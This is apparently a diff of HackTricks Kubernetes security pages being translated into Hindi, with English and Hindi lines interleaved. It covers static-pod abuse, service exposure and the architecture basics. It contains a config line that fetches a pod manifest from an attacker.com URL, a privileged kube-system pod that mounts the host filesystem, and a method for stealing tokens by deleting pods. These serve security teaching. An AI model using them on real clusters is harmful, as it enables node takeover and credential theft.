> **`spec` एक स्थिर Pod अन्य API वस्तुओं** (जैसे, ServiceAccount, ConfigMap, Secret, आदि) का संदर्भ नहीं दे सकता है। इसलिए **आप इस व्यवहार का दुरुपयोग करके वर्तमान नोड में एक मनमाना serviceAccount के साथ एक pod लॉन्च नहीं कर सकते** ताकि क्लस्टर को समझौता किया जा सके। लेकिन आप इसका उपयोग विभिन्न namespaces में pods चलाने के लिए कर सकते हैं (यदि किसी कारण से यह उपयोगी है)।
|
||||
|
||||
If you are inside the node host you can make it create a **static pod inside itself**. This is pretty useful because it might allow you to **create a pod in a different namespace** like **kube-system**.
|
||||
यदि आप नोड होस्ट के अंदर हैं, तो आप इसे **अपने अंदर एक स्थिर pod बनाने** के लिए बना सकते हैं। यह काफी उपयोगी है क्योंकि यह आपको **किसी अन्य namespace में एक pod बनाने** की अनुमति दे सकता है जैसे **kube-system**।
|
||||
|
||||
In order to create a static pod, the [**docs are a great help**](https://kubernetes.io/docs/tasks/configure-pod-container/static-pod/). You basically need 2 things:
|
||||
एक स्थिर pod बनाने के लिए, [**दस्तावेज़ एक बड़ी मदद हैं**](https://kubernetes.io/docs/tasks/configure-pod-container/static-pod/)। आपको मूल रूप से 2 चीज़ों की आवश्यकता है:
|
||||
|
||||
- Configure the param **`--pod-manifest-path=/etc/kubernetes/manifests`** in the **kubelet service**, or in the **kubelet config** ([**staticPodPath**](https://kubernetes.io/docs/reference/config-api/kubelet-config.v1beta1/#kubelet-config-k8s-io-v1beta1-KubeletConfiguration)) and restart the service
|
||||
- Create the definition on the **pod definition** in **`/etc/kubernetes/manifests`**
|
||||
- **kubelet सेवा** में या **kubelet config** में **`--pod-manifest-path=/etc/kubernetes/manifests`** पैरामीटर को कॉन्फ़िगर करें ([**staticPodPath**](https://kubernetes.io/docs/reference/config-api/kubelet-config.v1beta1/#kubelet-config-k8s-io-v1beta1-KubeletConfiguration)) और सेवा को पुनः प्रारंभ करें
|
||||
- **`/etc/kubernetes/manifests`** में **pod definition** पर परिभाषा बनाएं
|
||||
|
||||
**Another more stealth way would be to:**
|
||||
**एक और अधिक छिपा हुआ तरीका होगा:**
|
||||
|
||||
- Modify the param **`staticPodURL`** from **kubelet** config file and set something like `staticPodURL: http://attacker.com:8765/pod.yaml`. This will make the kubelet process create a **static pod** getting the **configuration from the indicated URL**.
|
||||
|
||||
**Example** of **pod** configuration to create a privilege pod in **kube-system** taken from [**here**](https://research.nccgroup.com/2020/02/12/command-and-kubectl-talk-follow-up/):
|
||||
- **kubelet** कॉन्फ़िगरेशन फ़ाइल से **`staticPodURL`** पैरामीटर को संशोधित करें और कुछ ऐसा सेट करें `staticPodURL: http://attacker.com:8765/pod.yaml`। इससे kubelet प्रक्रिया एक **स्थिर pod** बनाएगी जो **निर्दिष्ट URL से कॉन्फ़िगरेशन प्राप्त करेगी**।
|
||||
|
||||
**उदाहरण** एक **pod** कॉन्फ़िगरेशन का जो **kube-system** में एक विशेषाधिकार pod बनाने के लिए है, [**यहां से**](https://research.nccgroup.com/2020/02/12/command-and-kubectl-talk-follow-up/) लिया गया है:
|
||||
```yaml
|
||||
apiVersion: v1
|
||||
kind: Pod
|
||||
metadata:
|
||||
name: bad-priv2
|
||||
namespace: kube-system
|
||||
name: bad-priv2
|
||||
namespace: kube-system
|
||||
spec:
|
||||
containers:
|
||||
- name: bad
|
||||
hostPID: true
|
||||
image: gcr.io/shmoocon-talk-hacking/brick
|
||||
stdin: true
|
||||
tty: true
|
||||
imagePullPolicy: IfNotPresent
|
||||
volumeMounts:
|
||||
- mountPath: /chroot
|
||||
name: host
|
||||
securityContext:
|
||||
privileged: true
|
||||
volumes:
|
||||
- name: host
|
||||
hostPath:
|
||||
path: /
|
||||
type: Directory
|
||||
containers:
|
||||
- name: bad
|
||||
hostPID: true
|
||||
image: gcr.io/shmoocon-talk-hacking/brick
|
||||
stdin: true
|
||||
tty: true
|
||||
imagePullPolicy: IfNotPresent
|
||||
volumeMounts:
|
||||
- mountPath: /chroot
|
||||
name: host
|
||||
securityContext:
|
||||
privileged: true
|
||||
volumes:
|
||||
- name: host
|
||||
hostPath:
|
||||
path: /
|
||||
type: Directory
|
||||
```
|
||||
### Pods हटाना + अस्थायी रूप से शेड्यूल न होने वाले नोड्स
|
||||
|
||||
### Delete pods + unschedulable nodes
|
||||
यदि एक हमलावर ने **एक नोड को समझौता** कर लिया है और वह **अन्य नोड्स से pods को हटा सकता है** और **अन्य नोड्स को pods निष्पादित करने में असमर्थ बना सकता है**, तो pods समझौता किए गए नोड में फिर से चलाए जाएंगे और वह उनमें चल रहे **tokens को चुरा सकेगा**।\
|
||||
[**अधिक जानकारी के लिए इस लिंक का पालन करें**](abusing-roles-clusterroles-in-kubernetes/#delete-pods-+-unschedulable-nodes).
|
||||
|
||||
If an attacker has **compromised a node** and he can **delete pods** from other nodes and **make other nodes not able to execute pods**, the pods will be rerun in the compromised node and he will be able to **steal the tokens** run in them.\
|
||||
For [**more info follow this links**](abusing-roles-clusterroles-in-kubernetes/#delete-pods-+-unschedulable-nodes).
|
||||
|
||||
## Automatic Tools
|
||||
## स्वचालित उपकरण
|
||||
|
||||
- [**https://github.com/inguardians/peirates**](https://github.com/inguardians/peirates)
|
||||
|
||||
```
|
||||
Peirates v1.1.8-beta by InGuardians
|
||||
https://www.inguardians.com/peirates
|
||||
https://www.inguardians.com/peirates
|
||||
----------------------------------------------------------------
|
||||
[+] Service Account Loaded: Pod ns::dashboard-56755cd6c9-n8zt9
|
||||
[+] Certificate Authority Certificate: true
|
||||
@@ -389,11 +350,6 @@ Off-Menu +
|
||||
|
||||
[exit] Exit Peirates
|
||||
```
|
||||
|
||||
- [**https://github.com/r0binak/MTKPI**](https://github.com/r0binak/MTKPI)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -2,218 +2,188 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
There are **different ways to expose services** in Kubernetes so both **internal** endpoints and **external** endpoints can access them. This Kubernetes configuration is pretty critical as the administrator could give access to **attackers to services they shouldn't be able to access**.
|
||||
Kubernetes में सेवाओं को **प्रकट करने के विभिन्न तरीके** हैं ताकि **आंतरिक** एंडपॉइंट और **बाहरी** एंडपॉइंट दोनों उन्हें एक्सेस कर सकें। यह Kubernetes कॉन्फ़िगरेशन काफी महत्वपूर्ण है क्योंकि व्यवस्थापक **हमलावरों को उन सेवाओं तक पहुँच प्रदान कर सकता है जिन तक उन्हें पहुँच नहीं होनी चाहिए**।
|
||||
|
||||
### Automatic Enumeration
|
||||
|
||||
Before starting enumerating the ways K8s offers to expose services to the public, know that if you can list namespaces, services and ingresses, you can find everything exposed to the public with:
|
||||
|
||||
K8s द्वारा सेवाओं को सार्वजनिक रूप से प्रकट करने के तरीकों की गणना शुरू करने से पहले, जान लें कि यदि आप नामस्थान, सेवाओं और इनग्रेस को सूचीबद्ध कर सकते हैं, तो आप सार्वजनिक रूप से प्रकट की गई सभी चीज़ें पा सकते हैं:
|
||||
```bash
|
||||
kubectl get namespace -o custom-columns='NAME:.metadata.name' | grep -v NAME | while IFS='' read -r ns; do
|
||||
echo "Namespace: $ns"
|
||||
kubectl get service -n "$ns"
|
||||
kubectl get ingress -n "$ns"
|
||||
echo "=============================================="
|
||||
echo ""
|
||||
echo ""
|
||||
echo "Namespace: $ns"
|
||||
kubectl get service -n "$ns"
|
||||
kubectl get ingress -n "$ns"
|
||||
echo "=============================================="
|
||||
echo ""
|
||||
echo ""
|
||||
done | grep -v "ClusterIP"
|
||||
# Remove the last '| grep -v "ClusterIP"' to see also type ClusterIP
|
||||
```
|
||||
|
||||
### ClusterIP
|
||||
|
||||
A **ClusterIP** service is the **default** Kubernetes **service**. It gives you a **service inside** your cluster that other apps inside your cluster can access. There is **no external access**.
|
||||
|
||||
However, this can be accessed using the Kubernetes Proxy:
|
||||
A **ClusterIP** सेवा **डिफ़ॉल्ट** Kubernetes **सेवा** है। यह आपको अपने क्लस्टर के अंदर एक **सेवा** देती है जिसे आपके क्लस्टर के अंदर अन्य ऐप्स एक्सेस कर सकते हैं। यहाँ **कोई बाहरी एक्सेस** नहीं है।
|
||||
|
||||
हालांकि, इसे Kubernetes Proxy का उपयोग करके एक्सेस किया जा सकता है:
|
||||
```bash
|
||||
kubectl proxy --port=8080
|
||||
```
|
||||
|
||||
Now, you can navigate through the Kubernetes API to access services using this scheme:
|
||||
अब, आप इस योजना का उपयोग करके सेवाओं तक पहुँचने के लिए Kubernetes API के माध्यम से नेविगेट कर सकते हैं:
|
||||
|
||||
`http://localhost:8080/api/v1/proxy/namespaces/<NAMESPACE>/services/<SERVICE-NAME>:<PORT-NAME>/`
|
||||
|
||||
For example you could use the following URL:
|
||||
उदाहरण के लिए, आप निम्नलिखित URL का उपयोग कर सकते हैं:
|
||||
|
||||
`http://localhost:8080/api/v1/proxy/namespaces/default/services/my-internal-service:http/`
|
||||
|
||||
to access this service:
|
||||
|
||||
इस सेवा तक पहुँचने के लिए:
|
||||
```yaml
|
||||
apiVersion: v1
|
||||
kind: Service
|
||||
metadata:
|
||||
name: my-internal-service
|
||||
name: my-internal-service
|
||||
spec:
|
||||
selector:
|
||||
app: my-app
|
||||
type: ClusterIP
|
||||
ports:
|
||||
- name: http
|
||||
port: 80
|
||||
targetPort: 80
|
||||
protocol: TCP
|
||||
selector:
|
||||
app: my-app
|
||||
type: ClusterIP
|
||||
ports:
|
||||
- name: http
|
||||
port: 80
|
||||
targetPort: 80
|
||||
protocol: TCP
|
||||
```
|
||||
_इस विधि के लिए आपको **प्रमाणित उपयोगकर्ता** के रूप में `kubectl` चलाने की आवश्यकता है।_
|
||||
|
||||
_This method requires you to run `kubectl` as an **authenticated user**._
|
||||
|
||||
List all ClusterIPs:
|
||||
|
||||
ClusterIPs की सूची बनाएं:
|
||||
```bash
|
||||
kubectl get services --all-namespaces -o=custom-columns='NAMESPACE:.metadata.namespace,NAME:.metadata.name,TYPE:.spec.type,CLUSTER-IP:.spec.clusterIP,PORT(S):.spec.ports[*].port,TARGETPORT(S):.spec.ports[*].targetPort,SELECTOR:.spec.selector' | grep ClusterIP
|
||||
```
|
||||
|
||||
### NodePort
|
||||
|
||||
When **NodePort** is utilised, a designated port is made available on all Nodes (representing the Virtual Machines). **Traffic** directed to this specific port is then systematically **routed to the service**. Typically, this method is not recommended due to its drawbacks.
|
||||
|
||||
List all NodePorts:
|
||||
जब **NodePort** का उपयोग किया जाता है, तो सभी नोड्स (जो वर्चुअल मशीनों का प्रतिनिधित्व करते हैं) पर एक निर्दिष्ट पोर्ट उपलब्ध कराया जाता है। इस विशेष पोर्ट की ओर निर्देशित **Traffic** को फिर व्यवस्थित रूप से **सेवा** की ओर **रूट** किया जाता है। आमतौर पर, इस विधि की कमियों के कारण इसे अनुशंसित नहीं किया जाता है।
|
||||
|
||||
सभी NodePorts की सूची:
|
||||
```bash
|
||||
kubectl get services --all-namespaces -o=custom-columns='NAMESPACE:.metadata.namespace,NAME:.metadata.name,TYPE:.spec.type,CLUSTER-IP:.spec.clusterIP,PORT(S):.spec.ports[*].port,NODEPORT(S):.spec.ports[*].nodePort,TARGETPORT(S):.spec.ports[*].targetPort,SELECTOR:.spec.selector' | grep NodePort
|
||||
```
|
||||
|
||||
An example of NodePort specification:
|
||||
|
||||
NodePort विनिर्देशन का एक उदाहरण:
|
||||
```yaml
|
||||
apiVersion: v1
|
||||
kind: Service
|
||||
metadata:
|
||||
name: my-nodeport-service
|
||||
name: my-nodeport-service
|
||||
spec:
|
||||
selector:
|
||||
app: my-app
|
||||
type: NodePort
|
||||
ports:
|
||||
- name: http
|
||||
port: 80
|
||||
targetPort: 80
|
||||
nodePort: 30036
|
||||
protocol: TCP
|
||||
selector:
|
||||
app: my-app
|
||||
type: NodePort
|
||||
ports:
|
||||
- name: http
|
||||
port: 80
|
||||
targetPort: 80
|
||||
nodePort: 30036
|
||||
protocol: TCP
|
||||
```
|
||||
|
||||
If you **don't specify** the **nodePort** in the yaml (it's the port that will be opened) a port in the **range 30000–32767 will be used**.
|
||||
यदि आप yaml में **nodePort** निर्दिष्ट नहीं करते हैं (यह वह पोर्ट है जो खोला जाएगा) तो **30000–32767 की रेंज में एक पोर्ट का उपयोग किया जाएगा**।
|
||||
|
||||
### LoadBalancer <a href="#id-0d96" id="id-0d96"></a>
|
||||
|
||||
Exposes the Service externally **using a cloud provider's load balancer**. On GKE, this will spin up a [Network Load Balancer](https://cloud.google.com/compute/docs/load-balancing/network/) that will give you a single IP address that will forward all traffic to your service. In AWS it will launch a Load Balancer.
|
||||
सेवा को बाहरी रूप से **एक क्लाउड प्रदाता के लोड बैलेंसर का उपयोग करके** उजागर करता है। GKE पर, यह एक [नेटवर्क लोड बैलेंसर](https://cloud.google.com/compute/docs/load-balancing/network/) चालू करेगा जो आपको एकल IP पता देगा जो आपके सेवा के लिए सभी ट्रैफ़िक को अग्रेषित करेगा। AWS पर यह एक लोड बैलेंसर लॉन्च करेगा।
|
||||
|
||||
You have to pay for a LoadBalancer per exposed service, which can be expensive.
|
||||
|
||||
List all LoadBalancers:
|
||||
आपको प्रत्येक उजागर सेवा के लिए लोड बैलेंसर के लिए भुगतान करना होगा, जो महंगा हो सकता है।
|
||||
|
||||
सभी लोड बैलेंसर की सूची:
|
||||
```bash
|
||||
kubectl get services --all-namespaces -o=custom-columns='NAMESPACE:.metadata.namespace,NAME:.metadata.name,TYPE:.spec.type,CLUSTER-IP:.spec.clusterIP,EXTERNAL-IP:.status.loadBalancer.ingress[*],PORT(S):.spec.ports[*].port,NODEPORT(S):.spec.ports[*].nodePort,TARGETPORT(S):.spec.ports[*].targetPort,SELECTOR:.spec.selector' | grep LoadBalancer
|
||||
```
|
||||
|
||||
### External IPs <a href="#external-ips" id="external-ips"></a>
|
||||
|
||||
> [!TIP]
|
||||
> External IPs are exposed by services of type Load Balancers and they are generally used when an external Cloud Provider Load Balancer is being used.
|
||||
> बाहरी IPs को Load Balancers प्रकार की सेवाओं द्वारा उजागर किया जाता है और आमतौर पर इसका उपयोग तब किया जाता है जब एक बाहरी Cloud Provider Load Balancer का उपयोग किया जा रहा हो।
|
||||
>
|
||||
> For finding them, check for load balancers with values in the `EXTERNAL-IP` field.
|
||||
> उन्हें खोजने के लिए, `EXTERNAL-IP` फ़ील्ड में मानों के साथ लोड बैलेंसर्स की जांच करें।
|
||||
|
||||
Traffic that ingresses into the cluster with the **external IP** (as **destination IP**), on the Service port, will be **routed to one of the Service endpoints**. `externalIPs` are not managed by Kubernetes and are the responsibility of the cluster administrator.
|
||||
|
||||
In the Service spec, `externalIPs` can be specified along with any of the `ServiceTypes`. In the example below, "`my-service`" can be accessed by clients on "`80.11.12.10:80`" (`externalIP:port`)
|
||||
क्लस्टर में **बाहरी IP** (जैसे **गंतव्य IP**) के साथ आने वाला ट्रैफ़िक, सेवा पोर्ट पर, **सेवा के एक endpoint** की ओर **रूट किया जाएगा**। `externalIPs` को Kubernetes द्वारा प्रबंधित नहीं किया जाता है और यह क्लस्टर प्रशासक की जिम्मेदारी होती है।
|
||||
|
||||
सेवा स्पेक में, `externalIPs` को किसी भी `ServiceTypes` के साथ निर्दिष्ट किया जा सकता है। नीचे दिए गए उदाहरण में, "`my-service`" को "`80.11.12.10:80`" (`externalIP:port`) पर क्लाइंट द्वारा एक्सेस किया जा सकता है।
|
||||
```yaml
|
||||
apiVersion: v1
|
||||
kind: Service
|
||||
metadata:
|
||||
name: my-service
|
||||
name: my-service
|
||||
spec:
|
||||
selector:
|
||||
app: MyApp
|
||||
ports:
|
||||
- name: http
|
||||
protocol: TCP
|
||||
port: 80
|
||||
targetPort: 9376
|
||||
externalIPs:
|
||||
- 80.11.12.10
|
||||
selector:
|
||||
app: MyApp
|
||||
ports:
|
||||
- name: http
|
||||
protocol: TCP
|
||||
port: 80
|
||||
targetPort: 9376
|
||||
externalIPs:
|
||||
- 80.11.12.10
|
||||
```
|
||||
|
||||
### ExternalName
|
||||
|
||||
[**From the docs:**](https://kubernetes.io/docs/concepts/services-networking/service/#externalname) Services of type ExternalName **map a Service to a DNS name**, not to a typical selector such as `my-service` or `cassandra`. You specify these Services with the `spec.externalName` parameter.
|
||||
|
||||
This Service definition, for example, maps the `my-service` Service in the `prod` namespace to `my.database.example.com`:
|
||||
[**From the docs:**](https://kubernetes.io/docs/concepts/services-networking/service/#externalname) ExternalName प्रकार की सेवाएँ **एक सेवा को DNS नाम से मैप करती हैं**, न कि किसी सामान्य चयनकर्ता जैसे `my-service` या `cassandra` से। आप इन सेवाओं को `spec.externalName` पैरामीटर के साथ निर्दिष्ट करते हैं।
|
||||
|
||||
यह सेवा परिभाषा, उदाहरण के लिए, `prod` नामस्थान में `my-service` सेवा को `my.database.example.com` से मैप करती है:
|
||||
```yaml
|
||||
apiVersion: v1
|
||||
kind: Service
|
||||
metadata:
|
||||
name: my-service
|
||||
namespace: prod
|
||||
name: my-service
|
||||
namespace: prod
|
||||
spec:
|
||||
type: ExternalName
|
||||
externalName: my.database.example.com
|
||||
type: ExternalName
|
||||
externalName: my.database.example.com
|
||||
```
|
||||
जब `my-service.prod.svc.cluster.local` होस्ट को देखा जाता है, तो क्लस्टर DNS सेवा एक `CNAME` रिकॉर्ड लौटाती है जिसका मान `my.database.example.com` है। `my-service` तक पहुंचना अन्य सेवाओं की तरह ही काम करता है लेकिन एक महत्वपूर्ण अंतर के साथ कि **पुनर्निर्देशन DNS स्तर पर होता है** न कि प्रॉक्सी या फॉरवर्डिंग के माध्यम से।
|
||||
|
||||
When looking up the host `my-service.prod.svc.cluster.local`, the cluster DNS Service returns a `CNAME` record with the value `my.database.example.com`. Accessing `my-service` works in the same way as other Services but with the crucial difference that **redirection happens at the DNS level** rather than via proxying or forwarding.
|
||||
|
||||
List all ExternalNames:
|
||||
|
||||
सभी ExternalNames की सूची बनाएं:
|
||||
```bash
|
||||
kubectl get services --all-namespaces | grep ExternalName
|
||||
```
|
||||
|
||||
### Ingress
|
||||
|
||||
Unlike all the above examples, **Ingress is NOT a type of service**. Instead, it sits **in front of multiple services and act as a “smart router”** or entrypoint into your cluster.
|
||||
ऊपर दिए गए सभी उदाहरणों के विपरीत, **Ingress एक प्रकार की सेवा नहीं है**। इसके बजाय, यह **कई सेवाओं के सामने बैठता है और एक "स्मार्ट राउटर"** या आपके क्लस्टर में प्रवेश बिंदु के रूप में कार्य करता है।
|
||||
|
||||
You can do a lot of different things with an Ingress, and there are **many types of Ingress controllers that have different capabilities**.
|
||||
आप Ingress के साथ कई अलग-अलग चीजें कर सकते हैं, और **Ingress नियंत्रकों के कई प्रकार हैं जिनकी विभिन्न क्षमताएँ हैं**।
|
||||
|
||||
The default GKE ingress controller will spin up a [HTTP(S) Load Balancer](https://cloud.google.com/compute/docs/load-balancing/http/) for you. This will let you do both path based and subdomain based routing to backend services. For example, you can send everything on foo.yourdomain.com to the foo service, and everything under the yourdomain.com/bar/ path to the bar service.
|
||||
|
||||
The YAML for a Ingress object on GKE with a [L7 HTTP Load Balancer](https://cloud.google.com/compute/docs/load-balancing/http/) might look like this:
|
||||
डिफ़ॉल्ट GKE ingress नियंत्रक आपके लिए एक [HTTP(S) लोड बैलेंसर](https://cloud.google.com/compute/docs/load-balancing/http/) चालू करेगा। यह आपको बैकएंड सेवाओं के लिए पथ आधारित और उपडोमेन आधारित रूटिंग दोनों करने की अनुमति देगा। उदाहरण के लिए, आप foo.yourdomain.com पर सब कुछ foo सेवा को भेज सकते हैं, और yourdomain.com/bar/ पथ के अंतर्गत सब कुछ bar सेवा को भेज सकते हैं।
|
||||
|
||||
GKE पर [L7 HTTP लोड बैलेंसर](https://cloud.google.com/compute/docs/load-balancing/http/) के साथ एक Ingress ऑब्जेक्ट के लिए YAML इस तरह दिख सकता है:
|
||||
```yaml
|
||||
apiVersion: extensions/v1beta1
|
||||
kind: Ingress
|
||||
metadata:
|
||||
name: my-ingress
|
||||
name: my-ingress
|
||||
spec:
|
||||
backend:
|
||||
serviceName: other
|
||||
servicePort: 8080
|
||||
rules:
|
||||
- host: foo.mydomain.com
|
||||
http:
|
||||
paths:
|
||||
- backend:
|
||||
serviceName: foo
|
||||
servicePort: 8080
|
||||
- host: mydomain.com
|
||||
http:
|
||||
paths:
|
||||
- path: /bar/*
|
||||
backend:
|
||||
serviceName: bar
|
||||
servicePort: 8080
|
||||
backend:
|
||||
serviceName: other
|
||||
servicePort: 8080
|
||||
rules:
|
||||
- host: foo.mydomain.com
|
||||
http:
|
||||
paths:
|
||||
- backend:
|
||||
serviceName: foo
|
||||
servicePort: 8080
|
||||
- host: mydomain.com
|
||||
http:
|
||||
paths:
|
||||
- path: /bar/*
|
||||
backend:
|
||||
serviceName: bar
|
||||
servicePort: 8080
|
||||
```
|
||||
|
||||
List all the ingresses:
|
||||
|
||||
सभी इनग्रेस की सूची बनाएं:
|
||||
```bash
|
||||
kubectl get ingresses --all-namespaces -o=custom-columns='NAMESPACE:.metadata.namespace,NAME:.metadata.name,RULES:spec.rules[*],STATUS:status'
|
||||
```
|
||||
|
||||
Although in this case it's better to get the info of each one by one to read it better:
|
||||
|
||||
हालांकि इस मामले में प्रत्येक की जानकारी एक-एक करके प्राप्त करना बेहतर है ताकि इसे बेहतर तरीके से पढ़ा जा सके:
|
||||
```bash
|
||||
kubectl get ingresses --all-namespaces -o=yaml
|
||||
```
|
||||
|
||||
### References
|
||||
|
||||
- [https://medium.com/google-cloud/kubernetes-nodeport-vs-loadbalancer-vs-ingress-when-should-i-use-what-922f010849e0](https://medium.com/google-cloud/kubernetes-nodeport-vs-loadbalancer-vs-ingress-when-should-i-use-what-922f010849e0)
|
||||
- [https://kubernetes.io/docs/concepts/services-networking/service/](https://kubernetes.io/docs/concepts/services-networking/service/)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,91 +4,90 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
**The original author of this page is** [**Jorge**](https://www.linkedin.com/in/jorge-belmonte-a924b616b/) **(read his original post** [**here**](https://sickrov.github.io)**)**
|
||||
**इस पृष्ठ के मूल लेखक हैं** [**Jorge**](https://www.linkedin.com/in/jorge-belmonte-a924b616b/) **(उनकी मूल पोस्ट पढ़ें** [**यहां**](https://sickrov.github.io)**)**
|
||||
|
||||
## Architecture & Basics
|
||||
|
||||
### What does Kubernetes do?
|
||||
### Kubernetes क्या करता है?
|
||||
|
||||
- Allows running container/s in a container engine.
|
||||
- Schedule allows containers mission efficient.
|
||||
- Keep containers alive.
|
||||
- Allows container communications.
|
||||
- Allows deployment techniques.
|
||||
- Handle volumes of information.
|
||||
- कंटेनर इंजन में कंटेनर/को चलाने की अनुमति देता है।
|
||||
- शेड्यूल कंटेनरों को मिशन कुशल बनाता है।
|
||||
- कंटेनरों को जीवित रखता है।
|
||||
- कंटेनर संचार की अनुमति देता है।
|
||||
- तैनाती तकनीकों की अनुमति देता है।
|
||||
- जानकारी की मात्रा को संभालता है।
|
||||
|
||||
### Architecture
|
||||
|
||||

|
||||
|
||||
- **Node**: operating system with pod or pods.
|
||||
- **Pod**: Wrapper around a container or multiple containers with. A pod should only contain one application (so usually, a pod run just 1 container). The pod is the way kubernetes abstracts the container technology running.
|
||||
- **Service**: Each pod has 1 internal **IP address** from the internal range of the node. However, it can be also exposed via a service. The **service has also an IP address** and its goal is to maintain the communication between pods so if one dies the **new replacement** (with a different internal IP) **will be accessible** exposed in the **same IP of the service**. It can be configured as internal or external. The service also actuates as a **load balancer when 2 pods are connected** to the same service.\
|
||||
When a **service** is **created** you can find the endpoints of each service running `kubectl get endpoints`
|
||||
- **Kubelet**: Primary node agent. The component that establishes communication between node and kubectl, and only can run pods (through API server). The kubelet doesn’t manage containers that were not created by Kubernetes.
|
||||
- **Kube-proxy**: is the service in charge of the communications (services) between the apiserver and the node. The base is an IPtables for nodes. Most experienced users could install other kube-proxies from other vendors.
|
||||
- **Sidecar container**: Sidecar containers are the containers that should run along with the main container in the pod. This sidecar pattern extends and enhances the functionality of current containers without changing them. Nowadays, We know that we use container technology to wrap all the dependencies for the application to run anywhere. A container does only one thing and does that thing very well.
|
||||
- **Node**: पॉड या पॉड्स के साथ ऑपरेटिंग सिस्टम।
|
||||
- **Pod**: एक कंटेनर या कई कंटेनरों के चारों ओर लपेटने वाला। एक पॉड में केवल एक एप्लिकेशन होना चाहिए (इसलिए आमतौर पर, एक पॉड केवल 1 कंटेनर चलाता है)। पॉड वह तरीका है जिससे कुबेरनेट्स चल रहे कंटेनर तकनीक को अमूर्त करता है।
|
||||
- **Service**: प्रत्येक पॉड के पास नोड के आंतरिक रेंज से 1 आंतरिक **IP पता** होता है। हालाँकि, इसे एक सेवा के माध्यम से भी उजागर किया जा सकता है। **सेवा का भी एक IP पता है** और इसका लक्ष्य पॉड के बीच संचार बनाए रखना है ताकि यदि एक मर जाता है तो **नया प्रतिस्थापन** (एक अलग आंतरिक IP के साथ) **समान सेवा के IP पर उपलब्ध होगा**। इसे आंतरिक या बाहरी के रूप में कॉन्फ़िगर किया जा सकता है। सेवा तब **लोड बैलेंसर के रूप में कार्य करती है जब 2 पॉड्स एक ही सेवा से जुड़े होते हैं**।\
|
||||
जब एक **सेवा** **बनाई जाती है** तो आप प्रत्येक सेवा के अंत बिंदुओं को `kubectl get endpoints` चलाकर पा सकते हैं।
|
||||
- **Kubelet**: प्राथमिक नोड एजेंट। वह घटक जो नोड और कुबectl के बीच संचार स्थापित करता है, और केवल पॉड्स चला सकता है (API सर्वर के माध्यम से)। कुबलेट उन कंटेनरों का प्रबंधन नहीं करता है जो कुबेरनेट्स द्वारा नहीं बनाए गए थे।
|
||||
- **Kube-proxy**: यह एपीआई सर्वर और नोड के बीच संचार (सेवाओं) का प्रभारी है। आधार नोड्स के लिए IPtables है। सबसे अनुभवी उपयोगकर्ता अन्य विक्रेताओं से अन्य कुब-प्रॉक्सी स्थापित कर सकते हैं।
|
||||
- **Sidecar container**: साइडकार कंटेनर वे कंटेनर हैं जो पॉड में मुख्य कंटेनर के साथ चलने चाहिए। यह साइडकार पैटर्न मौजूदा कंटेनरों की कार्यक्षमता को बढ़ाता और बढ़ाता है बिना उन्हें बदले। आजकल, हम जानते हैं कि हम एप्लिकेशन को कहीं भी चलाने के लिए सभी निर्भरताओं को लपेटने के लिए कंटेनर तकनीक का उपयोग करते हैं। एक कंटेनर केवल एक काम करता है और उस काम को बहुत अच्छे से करता है।
|
||||
- **Master process:**
|
||||
- **Api Server:** Is the way the users and the pods use to communicate with the master process. Only authenticated request should be allowed.
|
||||
- **Scheduler**: Scheduling refers to making sure that Pods are matched to Nodes so that Kubelet can run them. It has enough intelligence to decide which node has more available resources the assign the new pod to it. Note that the scheduler doesn't start new pods, it just communicate with the Kubelet process running inside the node, which will launch the new pod.
|
||||
- **Kube Controller manager**: It checks resources like replica sets or deployments to check if, for example, the correct number of pods or nodes are running. In case a pod is missing, it will communicate with the scheduler to start a new one. It controls replication, tokens, and account services to the API.
|
||||
- **etcd**: Data storage, persistent, consistent, and distributed. Is Kubernetes’s database and the key-value storage where it keeps the complete state of the clusters (each change is logged here). Components like the Scheduler or the Controller manager depends on this date to know which changes have occurred (available resourced of the nodes, number of pods running...)
|
||||
- **Cloud controller manager**: Is the specific controller for flow controls and applications, i.e: if you have clusters in AWS or OpenStack.
|
||||
- **Api Server:** यह वह तरीका है जिससे उपयोगकर्ता और पॉड मास्टर प्रक्रिया के साथ संवाद करते हैं। केवल प्रमाणित अनुरोधों की अनुमति दी जानी चाहिए।
|
||||
- **Scheduler**: शेड्यूलिंग का तात्पर्य यह सुनिश्चित करने से है कि पॉड्स को नोड्स से मिलाया जाए ताकि कुबलेट उन्हें चला सके। इसमें यह तय करने के लिए पर्याप्त बुद्धिमत्ता है कि कौन सा नोड अधिक उपलब्ध संसाधन है और नए पॉड को सौंपता है। ध्यान दें कि शेड्यूलर नए पॉड्स शुरू नहीं करता है, यह केवल नोड के अंदर चल रहे कुबलेट प्रक्रिया के साथ संवाद करता है, जो नए पॉड को लॉन्च करेगा।
|
||||
- **Kube Controller manager**: यह संसाधनों जैसे कि रिप्लिका सेट या तैनातियों की जांच करता है यह देखने के लिए कि, उदाहरण के लिए, सही संख्या में पॉड्स या नोड्स चल रहे हैं। यदि कोई पॉड गायब है, तो यह एक नया शुरू करने के लिए शेड्यूलर के साथ संवाद करेगा। यह API के लिए प्रतिकृति, टोकन और खाता सेवाओं को नियंत्रित करता है।
|
||||
- **etcd**: डेटा भंडारण, स्थायी, सुसंगत, और वितरित। यह कुबेरनेट्स का डेटाबेस है और कुंडल के पूर्ण राज्य को रखने के लिए कुंजी-मूल्य भंडारण है (यहां प्रत्येक परिवर्तन लॉग किया जाता है)। शेड्यूलर या कंट्रोलर प्रबंधक जैसे घटक इस डेटा पर निर्भर करते हैं यह जानने के लिए कि कौन से परिवर्तन हुए हैं (नोड्स के उपलब्ध संसाधन, चल रहे पॉड्स की संख्या...)।
|
||||
- **Cloud controller manager**: यह प्रवाह नियंत्रण और अनुप्रयोगों के लिए विशिष्ट नियंत्रक है, यानी: यदि आपके पास AWS या OpenStack में क्लस्टर हैं।
|
||||
|
||||
Note that as the might be several nodes (running several pods), there might also be several master processes which their access to the Api server load balanced and their etcd synchronized.
|
||||
ध्यान दें कि चूंकि कई नोड्स (कई पॉड्स चला रहे हैं) हो सकते हैं, इसलिए कई मास्टर प्रक्रियाएँ भी हो सकती हैं जिनकी एपीआई सर्वर तक पहुँच लोड संतुलित होती है और उनका etcd समन्वयित होता है।
|
||||
|
||||
**Volumes:**
|
||||
|
||||
